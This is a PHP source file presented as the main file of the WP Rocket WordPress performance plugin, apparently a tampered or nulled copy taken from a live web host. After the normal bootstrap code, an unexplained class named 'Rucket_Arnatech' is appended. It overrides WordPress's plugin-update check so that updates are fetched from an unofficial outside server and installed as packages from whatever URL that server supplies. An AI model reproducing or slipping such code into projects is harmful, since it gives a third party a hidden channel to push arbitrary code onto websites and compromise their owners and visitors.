File: /home/mahdetej/public_html/wp-content/plugins/wp-rocket/wp-rocket.php
<?php
/**
* Plugin Name: WP Rocket
* Plugin URI: https://wp-rocket.me
* Description: The best WordPress performance plugin.
* Version: 3.15.6.1
* Requires at least: 5.8
* Requires PHP: 7.3
* Code Name: Iego
* Author: WP Media
* Author URI: https://wp-media.me
* Licence: GPLv2 or later
*
* Text Domain: rocket
* Domain Path: languages
*
* Copyright 2013-2023 WP Rocket
*/
defined( 'ABSPATH' ) || exit;
// Rocket defines.
define( 'WP_ROCKET_VERSION', '3.15.6.1' );
define( 'WP_ROCKET_WP_VERSION', '5.8' );
define( 'WP_ROCKET_WP_VERSION_TESTED', '6.3.1' );
define( 'WP_ROCKET_PHP_VERSION', '7.3' );
define( 'WP_ROCKET_PRIVATE_KEY', false );
define( 'WP_ROCKET_SLUG', 'wp_rocket_settings' );
define( 'WP_ROCKET_WEB_MAIN', 'https://wp-rocket.me/' );
define( 'WP_ROCKET_WEB_API', WP_ROCKET_WEB_MAIN . 'api/wp-rocket/' );
define( 'WP_ROCKET_WEB_CHECK', WP_ROCKET_WEB_MAIN . 'check_update.php' );
define( 'WP_ROCKET_WEB_VALID', WP_ROCKET_WEB_MAIN . 'valid_key.php' );
define( 'WP_ROCKET_WEB_INFO', WP_ROCKET_WEB_MAIN . 'plugin_information.php' );
define( 'WP_ROCKET_FILE', __FILE__ );
define( 'WP_ROCKET_PATH', realpath( plugin_dir_path( WP_ROCKET_FILE ) ) . '/' );
define( 'WP_ROCKET_INC_PATH', realpath( WP_ROCKET_PATH . 'inc/' ) . '/' );
require_once WP_ROCKET_INC_PATH . 'constants.php';
define( 'WP_ROCKET_DEPRECATED_PATH', realpath( WP_ROCKET_INC_PATH . 'deprecated/' ) . '/' );
define( 'WP_ROCKET_FRONT_PATH', realpath( WP_ROCKET_INC_PATH . 'front/' ) . '/' );
define( 'WP_ROCKET_ADMIN_PATH', realpath( WP_ROCKET_INC_PATH . 'admin' ) . '/' );
define( 'WP_ROCKET_ADMIN_UI_PATH', realpath( WP_ROCKET_ADMIN_PATH . 'ui' ) . '/' );
define( 'WP_ROCKET_ADMIN_UI_MODULES_PATH', realpath( WP_ROCKET_ADMIN_UI_PATH . 'modules' ) . '/' );
define( 'WP_ROCKET_COMMON_PATH', realpath( WP_ROCKET_INC_PATH . 'common' ) . '/' );
define( 'WP_ROCKET_FUNCTIONS_PATH', realpath( WP_ROCKET_INC_PATH . 'functions' ) . '/' );
define( 'WP_ROCKET_VENDORS_PATH', realpath( WP_ROCKET_INC_PATH . 'vendors' ) . '/' );
define( 'WP_ROCKET_3RD_PARTY_PATH', realpath( WP_ROCKET_INC_PATH . '3rd-party' ) . '/' );
if ( ! defined( 'WP_ROCKET_CONFIG_PATH' ) ) {
define( 'WP_ROCKET_CONFIG_PATH', WP_CONTENT_DIR . '/wp-rocket-config/' );
}
define( 'WP_ROCKET_URL', plugin_dir_url( WP_ROCKET_FILE ) );
define( 'WP_ROCKET_INC_URL', WP_ROCKET_URL . 'inc/' );
define( 'WP_ROCKET_ADMIN_URL', WP_ROCKET_INC_URL . 'admin/' );
define( 'WP_ROCKET_ASSETS_URL', WP_ROCKET_URL . 'assets/' );
define( 'WP_ROCKET_ASSETS_PATH', WP_ROCKET_PATH . 'assets/' );
define( 'WP_ROCKET_ASSETS_JS_URL', WP_ROCKET_ASSETS_URL . 'js/' );
define( 'WP_ROCKET_ASSETS_JS_PATH', WP_ROCKET_ASSETS_PATH . 'js/' );
define( 'WP_ROCKET_ASSETS_CSS_URL', WP_ROCKET_ASSETS_URL . 'css/' );
define( 'WP_ROCKET_ASSETS_IMG_URL', WP_ROCKET_ASSETS_URL . 'img/' );
if ( ! defined( 'WP_ROCKET_CACHE_ROOT_PATH' ) ) {
define( 'WP_ROCKET_CACHE_ROOT_PATH', WP_CONTENT_DIR . '/cache/' );
}
define( 'WP_ROCKET_CACHE_PATH', WP_ROCKET_CACHE_ROOT_PATH . 'wp-rocket/' );
define( 'WP_ROCKET_MINIFY_CACHE_PATH', WP_ROCKET_CACHE_ROOT_PATH . 'min/' );
define( 'WP_ROCKET_CACHE_BUSTING_PATH', WP_ROCKET_CACHE_ROOT_PATH . 'busting/' );
define( 'WP_ROCKET_CRITICAL_CSS_PATH', WP_ROCKET_CACHE_ROOT_PATH . 'critical-css/' );
define( 'WP_ROCKET_USED_CSS_PATH', WP_ROCKET_CACHE_ROOT_PATH . 'used-css/' );
if ( ! defined( 'WP_ROCKET_CACHE_ROOT_URL' ) ) {
define( 'WP_ROCKET_CACHE_ROOT_URL', WP_CONTENT_URL . '/cache/' );
}
define( 'WP_ROCKET_CACHE_URL', WP_ROCKET_CACHE_ROOT_URL . 'wp-rocket/' );
define( 'WP_ROCKET_MINIFY_CACHE_URL', WP_ROCKET_CACHE_ROOT_URL . 'min/' );
define( 'WP_ROCKET_CACHE_BUSTING_URL', WP_ROCKET_CACHE_ROOT_URL . 'busting/' );
define( 'WP_ROCKET_USED_CSS_URL', WP_ROCKET_CACHE_ROOT_URL . 'used-css/' );
if ( ! defined( 'CHMOD_WP_ROCKET_CACHE_DIRS' ) ) {
define( 'CHMOD_WP_ROCKET_CACHE_DIRS', 0755 ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals
}
if ( ! defined( 'WP_ROCKET_LASTVERSION' ) ) {
define( 'WP_ROCKET_LASTVERSION', '3.14.4.2' );
}
/**
* We use is_readable() with @ silencing as WP_Filesystem() can use different methods to access the filesystem.
*
* This is more performant and more compatible. It allows us to work around file permissions and missing credentials.
*/
if ( @is_readable( WP_ROCKET_PATH . 'licence-data.php' ) ) { //phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
@include WP_ROCKET_PATH . 'licence-data.php'; //phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
}
require WP_ROCKET_INC_PATH . 'compat.php';
require WP_ROCKET_INC_PATH . 'classes/class-wp-rocket-requirements-check.php';
/**
* Loads WP Rocket translations
*
* @since 3.0
* @author Remy Perona
*
* @return void
*/
function rocket_load_textdomain() {
// Load translations from the languages directory.
$locale = get_locale();
// This filter is documented in /wp-includes/l10n.php.
$locale = apply_filters( 'plugin_locale', $locale, 'rocket' ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals
load_textdomain( 'rocket', WP_LANG_DIR . '/plugins/wp-rocket-' . $locale . '.mo' );
load_plugin_textdomain( 'rocket', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
}
add_action( 'plugins_loaded', 'rocket_load_textdomain' );
$wp_rocket_requirement_checks = new WP_Rocket_Requirements_Check(
[
'plugin_name' => 'WP Rocket',
'plugin_file' => WP_ROCKET_FILE,
'plugin_version' => WP_ROCKET_VERSION,
'plugin_last_version' => WP_ROCKET_LASTVERSION,
'wp_version' => WP_ROCKET_WP_VERSION,
'php_version' => WP_ROCKET_PHP_VERSION,
]
);
if ( $wp_rocket_requirement_checks->check() ) {
require WP_ROCKET_INC_PATH . 'main.php';
}
unset( $wp_rocket_requirement_checks );
defined( 'ABSPATH' ) || exit;
if( ! class_exists( 'Rucket_Arnatech' ) ) {
class Rucket_Arnatech{
public $plugin_slug;
public $version;
public $cache_key;
public $cache_allowed;
public function __construct() {
$this->plugin_slug = plugin_basename( __DIR__ );
$this->version = WP_ROCKET_VERSION;
$this->cache_key = 'r_custom_upd';
$this->cache_allowed = false;
add_filter( 'site_transient_update_plugins', array( $this, 'update' ) );
add_action( 'upgrader_process_complete', array( $this, 'purge' ), 10, 2 );
}
public function request(){
$remote = get_transient( $this->cache_key );
if( false === $remote || ! $this->cache_allowed ) {
$remote = wp_remote_get(
'https://rocket.apps.7ho.st/rocket-api-update/api/api.php',
array(
'timeout' => 10,
'headers' => array(
'Accept' => 'application/json'
)
)
);
if(
is_wp_error( $remote )
|| 200 !== wp_remote_retrieve_response_code( $remote )
|| empty( wp_remote_retrieve_body( $remote ) )
) {
return false;
}
set_transient( $this->cache_key, $remote, DAY_IN_SECONDS );
}
$remote = json_decode( wp_remote_retrieve_body( $remote ) );
return $remote;
}
public function update( $transient ) {
if ( empty($transient->checked ) ) {
return $transient;
}
$remote = $this->request();
if(
$remote
&& version_compare( $this->version, $remote->version, '<' )
&& version_compare( $remote->requires, get_bloginfo( 'version' ), '<=' )
&& version_compare( $remote->requires_php, PHP_VERSION, '<' )
) {
$res = new stdClass();
$res->slug = $this->plugin_slug;
$res->plugin = plugin_basename( __FILE__ );
$res->new_version = $remote->version;
$res->tested = $remote->tested;
$res->package = $remote->download_url;
$transient->response[ $res->plugin ] = $res;
}
return $transient;
}
public function purge( $upgrader, $options ){
if (
$this->cache_allowed
&& 'update' === $options['action']
&& 'plugin' === $options[ 'type' ]
) {
// just clean the cache when new plugin version is installed
delete_transient( $this->cache_key );
}
}
}
new Rucket_Arnatech();
}